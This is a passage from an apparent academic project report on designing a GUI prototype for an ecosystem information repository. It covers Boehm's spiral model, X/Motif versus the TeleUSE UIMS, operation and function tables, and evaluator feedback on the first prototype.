..................................................................34 5. Discussion .........................................................................................................42 5.1 Quadrant 1 for this GUI Development ..................................................42 5.2 Conclusions .........................................................................................45 6. Bibliography ......................................................................................................49 CHAPTER 1 OVERVIEW 1.1 Premise Object-Oriented Methodology and Graphical User Interfaces have become a fact of life in the software industry today. The power of the visual paradigm is now widely recognized and is the foundation for graphics-based systems. However, rising expectations of usability and the increasing complexity of software make the design, development, and support of user interface based software difficult. The production of high quality user interfaces requires both an iterative development process and the use of a formal development and evaluation methodology. Various user interface evaluation techniques have been proposed to optimize user interface development, but they don't seem to fit well when there are other system components that need to be integrated with the user interface. This can be disconcerting to software developers, especially when it is obvious that there are risks involved in user interface development. This project illustrates how a user interface development and evaluation methodology can be adapted to fit as an integral part of Bohem's spiral model of software development [1], by associating Bohem's concept of risk with the costs of user interface development. The project in focus here is the development of a graphical user interface for the Ecosystem Information System (EIS), a system designed to provide access to a network accessible repository of information of interest to ecosystem modelers. Although it is always better to have a principled approach to development, the question is, what 1. Development should include early and continuous empirical testing, centered around appropriate users performing representative tasks. 2. As the development proceeds, it should incorporate subsequent iterative refinement procedures and cost/benefit analysis to determine the most cost effective changes to make to the user interface design. The concept of early user testing revolves around rapid prototyping methods. This gives the users and developers a chance to visualize a complex concept like EIS for its purpose and use. Once a prototype is developed, evaluation of its operations is done by the user, while the developer looks into the design and development methods used in the construction of the prototype. One method for developing a prototype is the use of an interface design toolkit. This approach gives quite a bit of importance to rapid prototyping at early stages of user interface design and development because of the relative ease with which interfaces can be constructed. It is valued from a research-oriented perspective, because the toolkit becomes a valuable exploratory tool. It also addresses the concept of examining the composition of the toolkit itself and evaluating its effectiveness. The following chapters will look into the development process and prototype evaluation with respect to operations and the development tools. CHAPTER 2 GENERAL THEORY IN A UI DEVELOPMENT Before developing a UI for a data repository that is organized in an object-oriented manner, it is important to understand the software development process model that will be used to guide the complete system development. Development methods for developing a UI will also be explained in this chapter. 2.1 Using a spiral model of software development A process model allows the persons responsible for the development of the software product to identify and order various stages of development, and also to identify transition criteria from stage to stage. There are various process models that can be used to design different stages of a software development product. The criteria to select one of the process models involves understanding the strengths and weaknesses of each process model and how well it can be adapted to further the goals of product development. The process model used here is Bohem's spiral model of software development [1]. The concept behind the spiral model is that there are a number of cycles of development. Each cycle involves a progression that addresses the same sequence of steps. Bohem's model suggests that the developer first identify elements of the system whose complexity or uncertain requirements pose the greatest risk to its development. The developer should then focus the most attention in early cycles to reducing the risk related to these components. A typical 2-D spiral model design begins with the identification of (1) the objectives or goals of a portion of the product (e.g. functionality, performance, tools); (2) alternate ways to achieve the implementation of this product (e.g. design A vs. design B); and (3) constraints imposed on the application of the alternate ways of implementing this component of the product (e.g. costs, labor, time). The next step is to evaluate the alternate ways of achieving this goal, in the context of the objectives and constraints. This step helps the developer to identify risks associated with this portion of the product. Next the developer identifies ways to resolve risks, such as by using rapid prototyping, formal analysis or user questionnaires. The developer then balances the risks against the cost of resolving risk. Focusing on resolving the riskiest elements first helps in planning multiple development cycles or iterations in an orderly and cost effective way. In a visual depiction of a spiral model, the process stages are depicted as quadrants. Axes are quadrant boundaries. The development path is usually linear, but can discontinuous or non-sequential. The interpretation is that the activity depicted in quadrant Q1 is completed first, then Q2, etc. Eventually the Q1 activity is repeated, but now in the context of the structure designed or information gained in the first cycle. [Figure 1] One scenario for the development of a UI requires that specifications be gathered by understanding the goals of the system, determining who the users are, and addressing the specific tasks the users expect to accomplish using this system. Eventually, the developer must design the product, balancing user needs with system needs, and assess the usability of the product by testing a prototype with the users. The development and refinement processes are repeated until the optimal blend of user satisfaction and overall system functionality is achieved. This approach emphasizes early user input on the aspects of usability, with user feedback documented and the interface modified to meet the needs. Another scenario for the development of a UI might require the developer to do independent prototyping efforts using different development methods. For example, one prototyping method is to use a UI generator to automatically convert visual layout of displays to interface code. The visual layouts of the interface can be created interactively by positioning and setting display objects as supported by the UI development tool. In contrast, another prototyping method is to use a programming language and windowing library to develop the user interface. These two methods are explained in Section 2.3. Each of these scenarios can be considered as a form of spiral development. Both involve the use of "best guesses" followed by weighing the constraints over the objectives, designing a prototype and evaluating the result. The functional objectives of the system can be analyzed using the prototype allowing the goals to be refined. The process can be repeated again using the information gained. For example, in Scenario One understanding all user needs in the first cycle of the spiral is impossible. The developer must make some judgments, get user input, and base a preliminary set of goals on this partial information as to what the overall system can achieve. From this a prototype can be designed. The prototype can be used to develop a better understanding of user input, user needs, and the user and developer roles in defining the possible structure of the system as a whole. Based on this improved understanding, new goals can be set and reviewed, leading to the next cycle of development. Unfortunately, developing a UI using scenarios like the one mentioned above is not always so systematic, because of constraints in costs, time and technological limitations. However an approach like the Bohem’s spiral model emphasizes how the development process weighs such constraints against its objectives. For the development of a UI with its inherent complexities, the risk-driven approach of the spiral model balances the risks associated with the UI product. The risks associated with UI development can span from clarifying vague functional goals to helping to stabilize evolving user expectations, in terms of performance, flexibility and security concerns. A risk-driven strategy helps to point out errors and unattractive alternatives early, so that the developer can concentrate on better approaches to the development of this product, rather than making premature arbitrary decisions. It also helps the developer to plan the amount of time and effort that should be devoted to various aspects of the product development, like quality assurance, formal verification and testing. Figure 2 2.2 Object-oriented design approach According to Booch [2], an object-oriented design encompasses the process of decomposing a system into objects, using a notation to depict both logical (classes and objects) and physical (module and process architecture) structures, and developing static and dynamic models of the system. An object-oriented design method emphasizes the proper and effective structuring of a complex system. An object is a tangible entity that exhibits some well defined behavior, whereas a class is a set of objects that share a common structure and a common behavior. There are four major aspects of an Object Model. (1) Abstraction denotes the essential characteristics of an object that distinguish it from other kind of objects. (2) Encapsulation is the process of collecting all the details of an object and hiding all its non-essential details. Each object in effect should have an interface part and an implementation part. The interface part focuses on the outside view of the object, i.e., the object’s essential behavior, but the implementation part is encapsulated and hidden from the users of the object. (3) Modularity is a process of decomposing a system descriptions into a set of “module” descriptions. The idea is that each module is simple and can be understood fully so that change within a module can be made without affecting other modules. (4) Hierarchy is a process of ordering abstractions in a tree like fashion. Inheritance is the most important aspect of object-oriented hierarchies. Inheritance implies that each class/object shares the structure or behavior defined for each of its ancestor classes/objects. The UI being developed here is for a system that is to be used to define a distributed, object-oriented data repository. Because the object-oriented paradigm is the basic organizational tool for the data repository, the software and its UI should support accessing, building and querying the data repository in object-oriented terms. Suppose the data collection is organized by a hierarchical structure known as class hierarchy where each point in the hierarchy is a class definition which represents a meta-description of a particular dataset. Each meta-description includes the description of data attributes, the description of operational components that are used to access the data, and other information about the data. Typically, basic operations are required for assessing, modifying and adding to nodes in a class hierarchy. A good UI must support operations that will encourage use by both a skilled object-oriented designer and a novice. 2.3 User interface development The development of a UI consists of two parts: the user interaction component and the base software interface. The user interaction component defines how a user interface works, i.e. the "look and feel" that provides what a user sees and hears and the "behavior" that describes the effects of the user's actions. The base software interface is the means through which the UI actions are actually linked to the code that implements the functions whose behaviors are observed by the user. In essence, the interaction component (or the behavioral domain of a user interface) looks into human factors like guidelines and rules, cognitive limitations and interaction styles. This provides a way of enhancing human use of an interface. The base software interface (or the construction domain) involves widgets, algorithms procedure libraries, control and data flow, event handlers, callbacks, object-oriented design principles and use of UI languages. A good UI development must address both behavioral and implementation issues as shown in Figure 3. This section focuses on the implementation component of an interface development. Tools involved in the construction process include machines, computer science principles, and software engineering principles. The major players are software designers/researchers, software engineers, programmers and, if I may, graduate students or others assigned to implement designs. The UI that is elaborated here is called the Graphical User Interface (GUI). The general purpose of a GUI is to provide a window-based interface for user selection of alternatives, other user inputs, and display of output. A program using a GUI has two parts, the visual part (front end) and the application code. Dividing the system in this manner allows independent development of each part. When designed properly, the application code can be used with different front-end interfaces. The GUI itself is comprised of a visual part embodied in the display of static screens, and events (implemented via callbacks or/and eventhandlers), which are system actions associated with certain user actions. A GUI provides the system with an event-driven approach. That is, the system processes events as they happen, and implements corresponding actions. Some events result from user actions (keyboard press, mouse click, etc.) whose order is unpredictable. Thus a GUI must support asynchronous handling of user actions, emphasizing the availability of various actions at any given time. The sequencing within each action is independent of sequencing with other actions. For the development of a base GUI, one approach involves working in an X Window environment, writing code using toolkits and a callable library of routines. Another approach involves the use of so-called User Interface Management Systems to generate the GUI. Developing a GUI in an X Window environment requires the developer to manage both the look and the actions of a GUI through a library of callable routines that implements visual features. Several X Toolkits are available to provide code for various interaction techniques by using different physical devices entering specific types of input. A widget is a basic data type or object for a physical device that encapsulates the “look and feel” for a user to interact. A widget class holds information on graphical objects. Instances of these widget classes help build the visual part of a GUI. Examples of widgets are text widget, buttons, menus, etc. Toolkits interact with application code using callbacks. The actions associated with each GUI event are assumed to be collected into a set of procedures, and callbacks represent the invocation of an appropriate procedure by the event handler in response to the “next” action taken by the user. That is, when a user interacts with a widget, the interface code links to the correct application code by an event, which prompts a callback. Through the proper management of events and callbacks, the user can interact with several tasks or applications, each in a different window. One of the most popular windowing systems on Unix systems is the X Window System. An X Window System provides a toolkit, called Xt and a library, called Xlib, for interface development. The Xlib library has low level callable procedures. Xt is at a higher level, consisting of procedures built on combinations of Xlib procedures. Xt defines a very basic set of widgets (most of which are functional, and not visual), providing a foundation to build the real widgets that are used to construct a GUI. The style and procedures to build even higher level widgets with both functional and visual components are called interaction style support tools. These tools enforce a particular consistent interaction “look and feel” to a user interface. Two of the most popular commercial interaction style support tools are OSF/Motif and OpenLook. Combinations of all these toolkits, libraries of routines, and interaction styles can be used to develop a GUI. This method of user interface development allows rapid prototyping by connecting ready-made interface components. However, no matter what level tool is used, programs are developed as code containing complex sequences of the procedure calls that are used to access and incorporate Xlib, Xt and Motif facilities. A User Interface Management System (UIMS) is designed to provide a non-programming approach to GUI development. A UIMS tool is an interactive system that supports the various processes involved in developing interfaces, including design, prototyping, execution, evaluation and maintenance of the interface. A typical UIMS is built on a particular window toolkit and supports a particular interaction style. The fundamental purposes of UIMS are to allow the system to be developed with a minimum of writing code and to support all activities in the interface development cycle. For example, the UIMS TeleUSE is built on X Window system, comes with an Xt toolkit, and supports various widget sets like OSF/Motif, MIT/Athena and others. Some of the important characteristics of a good UIMS is described here. A good UIMS should provide a non-programming environment that helps in layout of displays (screens), including defining, positioning, resizing and setting of the display, object attributes, and defaults. It should also provide support for linking the visual elements and their objects in the application code via something other than traditional programming. For example, direct manipulation in TeleUSE is done using D scripts. These scripts are written using a compact scripting language called D. The purpose of these scripts is to “manage the dialog” between the visual elements and the application code. A good UIMS should support runtime mechanisms for sensing user actions on objects in a display and provide feedback in a display. It should also have a generator for producing interface code from interface definitions as well as ways of storing and managing the generated code. In the following chapters, these two approaches to GUI development are further explained in the context of their use in the development of a real GUI. CHAPTER 3 THE TARGET APPLICATION SYSTEM This chapter looks into the operations and functions of the GUI for the Ecosystem Information System (EIS). The goal of EIS is to provide a data repository of ecosystem modeling components, organized in an object-oriented paradigm. The GUI front end for EIS must therefore support assessing, building, and querying the data repository. By defining general operations to meet the functionality of the GUI, specific functions can be designed and implemented. One such implementation of the GUI is discussed here. 3.1 EIS and the role of GUI Modern ecosystem management and analysis demands information sharing between a number of organizations. Present computer and networking technology makes this sharing possible, but the information organization to make sharing practical is still lacking. As described in [3], the goal of EIS is to create a network assessable repository of ecosystem information that provides access to datasets and models in a user-friendly fashion, allows the distribution of locally created material and contribution of materials from outside users, and is populated with material sufficient to illustrate both its use and its value to potential users. Free distribution and access to information is paramount to EIS, because ecosystem modeling and management involves collaborations between individuals housed in different departments, working for different organizations located in different locations, yet demands rapid inter-change of information ranging from simple messages to parts of complex programs to large datasets. Thus, EIS must provide a set of services associated with the management of a distributed and object-oriented data repository. Operations to create, access, and share the distributed data repository must be designed according to an object-oriented paradigm. As described in [3], EIS is designed based on four major object-based subsystems: the OME (Object Management Engine), GUI (Graphical User Interface), ORB (Object Request Broker) and ODBM (Object Database Manager). Our primary focus here is the GUI. The role of the EIS GUI is to provide the EIS user with the ability to create class definitions, define class attributes, place a class in a hierarchy of other classes, and create instances of a class. Each such operation in the GUI must support EIS user interaction in appropriate dialogs. The GUI should present the set of supported operations to the user, detect and interpret user selection, solicit the designation of the appropriate operation parameters, perform simple "screening" on operation parameters, and resolve operation requests into specific EIS function requests that are passed to other EIS subsystems. That is, because of the distributed nature of EIS, GUI itself does not invoke methods, but passes the screened function requests to other EIS subsystems for execution. It then waits for operation results to be returned, and presents the results to the user. Hence the basic object manipulation operations that should be presented to the user include the following: select and browse a class hierarchy, register a class/subclass definition, register a method definition, register an instance definition, record and possibly “log” user selection, solicit designation of appropriate parameters, and perform simple screening on operation selections and parameter specifications. 3.2. Design of GUI After the basic operational criteria for the EIS GUI are identified, specific functions can be developed to meet these requirements. This process of subdividing a complex subsystem like the EIS GUI into operations and functions helps in implementing a prototype. Using a prototype the developer can analyze the GUI subsystem with respect to how it meets its functional objectives and how it must interact with other subsystems, allowing modifications if necessary. This section includes two tables. Table 1 identifies individual user level operations that together support the functional requirements of the EIS GUI. Each of these operations is subsequently defined in terms of sequences of internal functions. These functions help realize the requirements for building a prototype of the EIS GUI. Table 1 provides a cross-reference between the GUI operations and the set of internal functions that support the GUI operations. For example, a GUI operation “Hierarchy Browsing,” can be supported using the following functions: get_context, get_hierarchy_list, list_hierarchies, scan_the_list and select_a_hierarchy. Functions that are identified here are broad-based. All of these functions may not be implemented because some of them are inherent to the tools that are used to implement this prototype. For example a function like “scan_the_list” is assumed to be provided in the form of “scroll bars” for window based tools that allows a user to interactively scan a list. The second table, Table 2, uses the broad-based generic functions of Table 1 to define specific functions that together will help implement a prototype for GUI. Each of these functions has a specific name, a list of arguments it requires, and a description of the results it will produce. This table gives a more specific implementation perspective for the development of a GUI prototype. With the help of these tables, we achieve a structured way of breaking the subsystem GUI into specific components. Looking into the Bohem spiral model, these tables represent first quadrant activities focused on identifying and defining the goals for the first spiral of GUI design and prototyping. Instead of describing each individual operation and function that makes up the GUI, these tables provide a self-descriptive set of operation and function names, and a cross reference between each operation and function and between a function and its attributes. For example, one of the primary requirements of GUI is to provide a way for the user of EIS to create a class and assign this class in a particular hierarchy. This hierarchy can have local, temporary, or global contexts. To meet this particular EIS GUI objective, operations to implement parts of the “Hierarchy Browsing” and “Create class/subclass” as internal operations are defined and cross referenced across two tables. Thus, an example sequence of functions that can be used to implement class creation could be: get_context, get_hierarchy_list, list_hierarchies, select_a_hierarchy, select_object, create_object, print_hierarchy. <table> <thead> <tr> <th>Operations</th> <th>Functions</th> </tr> </thead> <tbody> <tr> <td><strong>Hierarchy Browsing</strong></td> <td>get_context</td> </tr> <tr> <td></td> <td>get_hierarchy_list</td> </tr> <tr> <td></td> <td>list_hierarchies</td> </tr> <tr> <td></td> <td>scan_the_list</td> </tr> <tr> <td></td> <td>select_a_hierarchy</td> </tr> <tr> <td><strong>Create class/subclass or</strong></td> <td>get_context</td> </tr> <tr> <td><strong>Create method or</strong></td> <td>get_hierarchy_list</td> </tr> <tr> <td><strong>Create instance or</strong></td> <td>list_hierarchies</td> </tr> <tr> <td></td> <td>scan_the_list</td> </tr> <tr> <td></td> <td>select_a_hierarchy/open</td> </tr> <tr> <td></td> <td>select_object</td> </tr> <tr> <td></td> <td>create_object</td> </tr> <tr> <td></td> <td>print_hierarchy</td> </tr> <tr> <td><strong>Editing operations or</strong></td> <td>select_object</td> </tr> <tr> <td></td> <td>cut_object</td> </tr> <tr> <td></td> <td>copy_object</td> </tr> <tr> <td></td> <td>undo</td> </tr> <tr> <td></td> <td>paste_object</td> </tr> <tr> <td></td> <td>delete_object</td> </tr> <tr> <td><strong>Print Operations</strong></td> <td>print_obj</td> </tr> <tr> <td></td> <td>print_hierarchy</td> </tr> <tr> <td></td> <td>print_tree</td> </tr> <tr> <td><strong>Register operations</strong></td> <td>save</td> </tr> <tr> <td></td> <td>save_as</td> </tr> <tr> <td><strong>User input operations</strong></td> <td>input_values_for_object</td> </tr> <tr> <td>Functions</td> <td>Arguments</td> </tr> <tr> <td>----------------------</td> <td>----------------------------------</td> </tr> <tr> <td>OPEN</td> <td>hierarchy_id</td> </tr> <tr> <td>SAVE</td> <td>hierarchy_id</td> </tr> <tr> <td>SAVE_AS</td> <td>hierarchy_id, new_name</td> </tr> <tr> <td>CREATE_OBJ</td> <td>hierarchy_id, object_description</td> </tr> <tr> <td>DELETE_OBJ</td> <td>hierarchy_id, object_id</td> </tr> <tr> <td>CUT_OBJ</td> <td>hierarchy_id, object_id,</td> </tr> <tr> <td></td> <td>clipboard_address</td> </tr> <tr> <td>PASTE_OBJ</td> <td>hierarchy_id, object_id,</td> </tr> <tr> <td></td> <td>clipboard_address</td> </tr> <tr> <td>COPY_OBJ</td> <td>hierarchy_id, object_id,</td> </tr> <tr> <td></td> <td>clipboard_address</td> </tr> <tr> <td>SELECT_OBJ</td> <td>hierarchy_id, object_id</td> </tr> <tr> <td>OPEN_OBJECT</td> <td>hierarchy_id, object_id</td> </tr> <tr> <td>PRINT_OBJ</td> <td>object_id</td> </tr> <tr> <td>PRINT_HIERARCHY</td> <td>hierarchy_id</td> </tr> <tr> <td>PRINT_TREE</td> <td>hierarchy_id</td> </tr> <tr> <td>UNDO</td> <td>clipboard_address</td> </tr> <tr> <td>GET_HIERARCHY_LIST</td> <td>null</td> </tr> <tr> <td>SELECT_A_HIERARCHY</td> <td>hierarchy_id</td> </tr> </tbody> </table> 3.3 First spiral in GUI development Vague functional objectives and changing user needs and expectations make developing a user interface for an EIS system an inherently complex process, which demands a good UI design methodology. Having a framework that focuses specifically on the UI aspects of requirement analysis, testing, and evaluation could make this task easier. Creating an effective GUI for a complex application system like the EIS requires an iterative process of identifying operations, formal analysis of these operations, software prototyping, and review. This approach plans on multiple development iterations as is also evident in Bohem's spiral model. Initially, we take the best known operations that can be integrated into the development of GUI and implement a prototype. Using the Bohem's spiral model first quadrant involves designing a prototype. Tables 1 and 2 of Section 3.2 help with quadrant 1 activities related to identifying the set of object manipulation operations that can be used to develop a prototype of EIS GUI. Second quadrant activities involve using this information to develop a prototype using some specific development tools. Subsequently, quadrant three and four activities involve evaluating the prototype with respect to EIS functional objectives and other criteria, then refining the objectives and planning further spirals of development. The first prototype of the EIS GUI was developed using a very informal version of the information in Tables 1 and 2. The purpose of this prototype was to look at operations required to create a class with values, such as name, attributes and operations, and place this class within a hierarchy of other classes. In this first prototype, interactions with other EIS subsystems were more or less ignored. This prototype was implemented using a User Interface Management System tool called the TeleUSE GUI generator. This generator divides the visual (screens) part of the UI from the application code to allow the GUI prototype developer to rapidly construct the visual display without details of the dynamic part. The visual part is developed using the TeleUSE Visual Interaction Programming layout editor (also called VIP). VIP allows a developer to choose different Motif/TeleUSE window objects (widgets) and helps arrange these objects interactively. Once the screens or visual layouts are arranged according to the requirements, the layout can be converted to interface code. Subsequently, another component in TeleUSE can be used to define the interaction between the visual layout objects and the application code. This so-called dynamic part is handled in TeleUSE using a Dialog Scripting Language. By combining the visual component, the dynamic component, and the application code, an executable system can be generated using user interface builders. This method of development helps in rapidly generating the prototype for further analysis and review. However, the first prototype focused exclusively on the visual component, leaving the dynamic component and application code to interact with other objects for subsequent efforts. The first prototype focused on instantiating a GUI on a Unix workstation. The visual form was based on three paned windows as shown in Figure 4. The first has a pull down menu with options like FILE, EDIT, VIEW, OPERATIONS, and HELP menus. FILE menu items included SAVE, PRINT and EXIT options. OPERATIONS menu items include CREATEOBJECT, OPENOBJECT, and DELETEOBJECT options with dialogs to solicit object information such as name, id, parameters, attributes and operations. VIEW menu items include LOCAL CONTEXT and GLOBAL CONTEXT. EDIT menu items include UNDO, CUT, COPY, and PASTE options. Below this main menu is a main window, used to display the current object hierarchy tree structure. The second paned window was envisioned as another way of implementing an object hierarchy tree, using pushbutton widgets to represent classes. However, this was never completed. The third paned window contains a scrolled text field, used to display the textual form of the “current” object. In an object hierarchy the current node is highlighted with a black box around the name. The textual description of this current object is maintained in the third window to provide a context in which editing operations like DELETE, CUT, COPY, PASTE can be performed. Each object hierarchy has a root node that cannot be deleted. Using Table 1 and 2 as a basis for operational criteria of the EIS GUI, this first prototype provides a very basic subset to meet the functional requirements. It tries to cover a broad category of operations, but only a subset of functions. All the operations mentioned in Table 1 are taken into consideration while designing this prototype. However functions that are provided achieve very rudimentary aspects of these operations. Prototype 1 achieves the goal of creating a “shell” of the GUI for EIS system but leaves important questions, such as interaction with other subsystems or objects, application code to implement the required functionality, etc. unanswered. This is the starting point for further spirals of development. <table> <thead> <tr> <th>File</th> <th>Edit</th> <th>View</th> <th>Operations</th> <th>Help</th> </tr> </thead> <tbody> <tr> <td>Save</td> <td>Undo</td> <td>Local Context</td> <td>Create Object</td> <td></td> </tr> <tr> <td>Open</td> <td>Cut</td> <td>Global</td> <td>Open Object</td> <td></td> </tr> <tr> <td>Print</td> <td>Copy</td> <td></td> <td>Delete Object</td> <td></td> </tr> <tr> <td>Exit</td> <td>Paste</td> <td></td> <td></td> <td></td> </tr> </tbody> </table> **Operations:** Create Object / Open Object / Delete Object **Figure 4** CHAPTER 4 EVALUATION AND FURTHER DEVELOPMENT With the creation of Prototype 1 for EIS, system development enters the fourth quadrant, where activity focuses on evaluation of the functionality and the tools used to develop this prototype. This chapter summarizes fourth quadrant activity based on the analysis of prototype 1 with respect to usability, preliminary specifications for the target EIS system along with operational requirements and the development tools used. Based on the evaluation we propose changes in the system form, function and GUI operational criteria. We also describe other tools that can be used in the next development process. 4.1 Evaluation of operations in Prototype 1 Before we go further into the operational evaluation of Prototype 1, due consideration needs to be given to the inevitable process of GUI development, where problems with certain operations often are detected much later in system operation than would ordinarily be the case. The idea is to develop and use relatively standard GUI tools to prototype what are perceived as relatively simple GUI elements, and then evaluate the GUI in the context of evolving information on other aspects of system functionality. This evaluation for the GUI exposes problems stemming from missing functionality, confusing dialog flows, and other problems. The goal is to assess, at this point, what the user needs and expectations are, and try to translate them into operations that are defined for the next stage in the development of GUI. In this case the primary users and evaluators were a software design class of students. The possible GUI problems and system errors uncovered during interface evaluation are characterized as follows. 1. missing functionality and dialogs. 2. ineffective cross-checking or screening 3. inadequate or no help information provided. 4. lack of configuration capability. User operations provided by this prototype are very rudimentary in nature, with lots of limiting assumptions. For example, in an operation like "Create class/subclass", the template to create a class allows very basic attributes like name, etc., and the parent is assumed to be the "current" selected class in a hierarchy tree. Operations like "Browse Hierarchy" are not included. The various "Tree Operations" have limited functionality and do not provide necessary checks. For example, the function "delete_object" deletes an entire subtree, and does not provide any "confirmation" dialog. Also, many operations are not well phrased with respect to object-oriented concepts such as classes, instances, and methods, and fail to guarantee consistent interrelationships and dependencies among these objects. Finally, there is no checking for consistent identifier definitions and uses, which makes the overall usability of the system quite difficult to assess. Following are some additional comments from the initial evaluators on the current functionality, with respect to operations or modifications needed. The first name indicates the menu in which the operation appears, followed by the name of the operation itself. 1. File - Save: Should be implemented, with hierarchy saved in an appropriate format. 2. File - SaveAs: Should have an option to save a hierarchy from current format to any other appropriate format. 3. File - Print: Should distinguish between typing on paper vs. “printing” in one of the panes of the GUI window. 4. File - Close: Should cause GUI to close current file. If any change is made it should allow saving the modified file. 5. File - Get-heir-list: Should get list of all hierarchies available, allow user to select a hierarchy, then open it. 6. File - New-hierarchy: Should allow the ability to start a new hierarchy. 7. File - Get-host-list: Should get a list of all hosts available, allow user to select a hostname, then connect to that host. 8. File - Open: On selecting this option, the GUI should ask the user to specify the file name. 9. File - Import: Should allow the user to save in local host. 10. File - Export: Should allow the user to save in global host. 11. File - Exit: Should have an option of saving before exiting. 12. Edit - Undo: Could have multiple levels of undo. 13. ObjectMenu - Create Class: As of now it accepts a node without a name. 14. ObjectMenu - Create Instance: This is necessary to create an instance of a class. 15. ObjectMenu - Create Method: This is necessary to create a new method. 16. View: It should have more than two contexts, such as workstation or lab contexts, to mention a few. 17. Help: Should provide documentation on the menu items. 18. Clear: Need this operation for clearing the 'undo' buffer area or the tree on the screen. 19. Execute: Need to execute an instance of a class. Some additional comments are listed, regarding functionality that needs to be added, cosmetic aspects of the displays, and other characteristics. 1. Need a color file that GUI uses for its widget colors. 2. Provide simple screening of new class information. 3. Have a BROWSE operation. 4. Limit global data editing. 5. User should have access to the clipboard. 6. Duplication of the node names should be avoided. Copy and paste allows this. 7. Object information dialog box should allow the user to input all the fields without using the mouse. 8. Move “Delete Object” from Operations Menu to Edit menu. 9. Add Encapsulation operation on the Tree, for example, Hide_Method, Hide_Instance, Minimize_Subtree, etc. 4.2 Evaluation of tools in Prototype 1 Prototype 1 is developed using a GUI generator, TeleUSE UIMS. To understand the methods and processes that are used to develop this prototype using the GUI generator, an additional mini-spiral is necessary for learning and understanding this tool. This process allows a developer to look at the tool primarily with respect to its usability and functionality, considering the fact that UI design and development typically mirrors the stages of a system's entire life-cycle: requirement analysis, design, evaluation and iteration of versions or prototypes until the final product is delivered. It is important to analyze the requirements that a GUI generator should have, for reasons of evaluating the ability of the present generator (TeleUSE) to meet this project's long-term development goals. That is, the purpose of the requirements analysis of the GUI generator is to provide information to allow a decision to be made to continue further development using this particular GUI generator, or to switch to producing GUI-version 2 with direct X/Motif coding. Following are some of the important characteristics that are considered in analyzing an Interface Development tool. 1. **Functionality of the tool.** The functional capabilities of a tool are the most important characteristics. It should have the ability to produce the visual displays and the interaction styles required or expected by users of an interface. 2. **Usability of the tool.** An interface tool building system should have an easy to use user interface itself. There is a trend with user interfaces to have functionality become inversely proportional to the usability of the tool, which should be avoided at all costs. A tool with more functional systems need not be harder to use. Also a GUI for the tool needs to weigh against the amount of programming that is done in order to construct an interface. This should take into account the broader variety of interaction styles that is supported without a programmer writing code. 3. **Ability to produce direct manipulation interfaces via direct manipulation.** The tool should be able to produce direct manipulation interface features via direct manipulation in the tool interface. A tool that forces the interface implementor to resort to programming for different kinds of interfaces may not be the right tool for this type of development environment. 4. **Styles supported by the tool and customization of style.** This is closely related to the functionality of the tool. Even if a tool comes with all the widgets sets and interaction styles that are available, there could be a need to create a special widget for the purpose of this software product. Thus, it is necessary that the widgets and the widget set be customizable. 5. **Creation of dynamic interaction objects.** Development of dynamic (runtime changeable, data dependent) interaction objects is an important requirement for all but a very simple GUI. An interactive development tool should support dynamic objects. 6. **Support for evaluation and iterative refinement.** A tool should provide direct support for evaluation and iterative refinement in a more direct way than simply claim that modifications to an interface are easy to make using the tool. For example, a tool might allow internal implementation of an interface, then support collection and analysis of quantitative and qualitative user feedback about that prototype. 7. **Type of control structure and callbacks.** The type of control structure imposed by a tool on software is important when the resulting GUI is connected to existing software or to software being developed by other groups. For example, the object oriented EIS design illustrates such a scenario. The ability to define and manage callbacks is also an important part for coupling with other software. A tool can embed its output into existing software or embed existing software into the output of the tool. It can also generate code that maintains control of an event loop and decides when and how to respond to user actions. 8. **Portability of the interface produced by the tool.** Often it is desirable that the interface developed by a tool be able to run on different platforms. A tool providing portability by keeping the same look and feel across different platforms is not very desirable. Being tightly integrated with a standard windowing system (i.e., X, Windows, etc.) tends to make a tool less portable. 9. **Changes to GUI design independent of code generation.** A tool should allow the interface developer to make changes to already generated code for the user interface, without generating completely new code. Also the process of achieving such changes should be easy to accomplish. 10. **Runtime performance of the interface produced by the tool.** The output produced by the tool can be compiled or interpreted. A compiled interface is almost always faster than interpreted code. This defines the concept of runtime speed, which in turn affects the usability of an interface. 11. **Cost, documentation, and customer support.** Cost of these tools can determine whether it is feasible to use for the development of a software product. The quality of documentation helps developers understand the tool. Customer support helps to enhance the usability of the tool. Before a new prototype is developed, it is necessary to look at TeleUSE UIMS and see what development aspects (good or bad) are part of this GUI generator. This helps a developer make an intelligent choice as to whether to continue to use the development tool. For example, a GUI builder like TeleUSE imposes limitations on which platforms and what windowing system the code it generates can use. In this evaluation of the tool, emphasis is also given to the ease or difficulty with which this tool can be used to develop the target software product. This point is important because of the fact that revisions or iterations to GUI prototyping are done possibly by different individuals or groups. That is, every time a new developer or programmer becomes responsible for extending the code, additional time and effort needs to be spent in understanding this prototyping tool. Properties of TeleUSE, its advantages and disadvantages. TeleUSE belong to a class of software called User Interface Management Systems (UIMS). It is workstation-based and requires the X Window System and a window manager. The product provides a collection of tools and libraries to help develop the display (static) and interactive (dynamic) portions of GUI. An application program with a GUI has two parts, the user interface itself and the application code. As for the user interface code, it too has two parts, static part and a dynamic part. The static part is called the presentation component. It contains the widget hierarchies used for a specific application’s user interface. It also describes the screen layout of the user interface. This development in TeleUSE is done using a Visual Interaction Programming layout editor also known as VIP. This lets the developer of a user interface choose different widgets and arrange them according to the application requirements. The VIP layout editor is a so called WYSIWYG editor. Files can be saved in native TeleUSE format or in ‘C’ or ‘UIL’ code. The dynamic part of the user interface, also called the dialog manager handles the interaction component between the presentation component and the application code. TeleUSE provides a dialog scripting language called ‘D Scripts’ to help define this interaction. These files are saved in a native TeleUSE definition file. Once the static part, the dynamic part and application code are done, an executable is generated using the User Interface Builder. TeleUSE UIMS does a good job in isolating user interface code from the application code, thus making the logic of each part easier to understand, develop and maintain. It supports various toolkits and allows customization of widgets or interaction styles. The dialog management part ('D' scripts) is compact, so that developing the presentation component is very handy if the whole interface and event handling part is done in TeleUSE. Converters are provided to allow both the static and dynamic parts of the user interface to be converted to 'UIL' or 'C' code. TeleUSE in essence provides a tool that lets the developer do rapid prototyping. However this concept of isolating the user interface code with application code is not new. Following is a brief outline of the drawbacks in using TeleUSE. 1. TeleUSE runtime libraries provide a set of functions that is supposed to make the programmer write less code, but trying to change the behavior of these functions is not possible as the code is not accessible to developers. 2. Using TeleUSE runtime libraries makes porting to other platforms impossible without having TeleUSE or a TeleUSE porting kit available. 3. Writing the dialog management part requires a process of learning a new 'D' scripting language. 4. Converters develop 'C' code with little or no documentation on the TeleUSE specific functions which makes maintenance and upkeep of the code very hard. 5. TeleUSE adds an additional effort for each new individual or group that deals with the code, because each developer must learn the tool. 6. Code that is developed using this process is in ‘C’ and cannot be changed to other languages. 7. TeleUSE provides limitations on which platforms and what windowing system it can run. 8. Use of TeleUSE implies additional costs and licensing requirements on this project. 9. 